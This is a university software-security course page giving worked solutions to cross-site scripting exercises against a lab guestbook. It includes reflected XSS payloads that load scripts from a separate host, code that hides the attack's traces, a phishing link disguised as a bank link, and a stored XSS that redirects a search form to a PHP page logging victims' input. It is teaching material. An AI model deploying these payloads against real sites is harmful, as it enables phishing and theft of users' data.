Exercise Cross Site Scripting - XSS (Solutions)

Reflected Cross Site Scripting

Exercise 1.

- Insert the following inside the search field:
  ```
  <script >alert('Hello');</script>
  ```

- You write a file like attack.js
  ```
  alert("Hello World");

  <script src="http://192.168.64.2/SoftSec/exercises/xss/attack.js">;</script>
  ```

- You modify your file like attack2.js
  ```
  function changeTitle()
  {
      Document.getElementById("title").innerHTML="You have been Hacked";
      alert("You have been hacked!!!");
  }

  setTimeout(changeTitle, 500);
  ```
  The change of the title has to be done in the future (because the javascript is inserted before the form):
  ```
  setTimeout(changeTitle,500);
  ```
  Enter this in the search form:
  ```
  <script src="http://192.168.64.2/SoftSec/exercises/xss/attack2.js">;</script>
  ```

- Then remove the traces (attack3.js):
  ```
  function resetForm(){
    document.getElementById("search-form").innerHTML=
    "Search <input type='text' name='search' value='' />
        <input type='submit' id='btnsearch' value='Search Messages' />";
  }

  setTimeout("resetForm()",50);
  ```
  Enter this in the search form:
  ```
  <script src="http://192.168.64.2/SoftSec/exercises/xss/attack3.js">;</script>
  ```

Exercise 2.

- Load an external file (such that you are not limited in the use of quotes):

We insert this link in a page (or email) where the victim will click on it:
```
<a href="http://localhost/guestbook/index.php?search=%3Cscript%20src=http://192.168.64.2/
SoftSec/exercises/xss/attack3.js%3E%3C/script%3E">
Your bank (or guest book)</a>
```
is equivalent to writing the following in the search field:
```
<script src=http://192.168.64.2/SoftSec/exercises/xss/attack3.js></script>
```
Because the site does not make a difference between POST and GET requests.

Stored XSS

Related Pages

Home
Slides
Exemples
Exercices
Resources

Contact

Prof. Dr. Emmanuel Benoist
Berner Fachhochschule - TI
Quellgasse 21
CH-2501 Biel/Bienne
Switzerland
Mail: emmanuel.benoist (at) bfh.ch

Social Networks

Follow me on
Linkedin, Scholar & Research gate

http://www.ti.bfh.ch/

Write a Stored-XSS attack (means add a new line in your guestbook that contains this attack) that changes the action of your search form and sends the information to another site that redirects finally to the right page (quite similar to the example for the login in the xss examples page).

- Create a spy page : `otherpage.php`

```
<?php
$searchstring = $_REQUEST['search'];

// Save data in a Data base or a file

$myFile = "search.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = "*** $searchstring ***\n";
fwrite($fh, $stringData);
fclose($fh);

// Can also be constructed from the URL referer
$newURL= "/guestbook/?search=$search";
 header("location: $newURL");
exit();
?>
```

- Change the rights in your filesystem, such that your www server has the right to create and write into the file `search.txt`.

- Insert the Following code as a new item in the guestbook

```
<script>
document.getElementById("search-form").action="http://192.168.64.2/SoftSec/exercises/xss/otherpage.php
</script>
```

- The content of the spyed data can be consulted here: search.txt

Unfortunately, if the message (the one containing XSS) isn't displayed anymore. Since this message contains the javascript, it won't be executed anymore. If we want to let it execute, we have to insert in the redirect an instruction that can be used by a reflected XSS. But this starts to be complicated for an exercise.

BACK TO TOP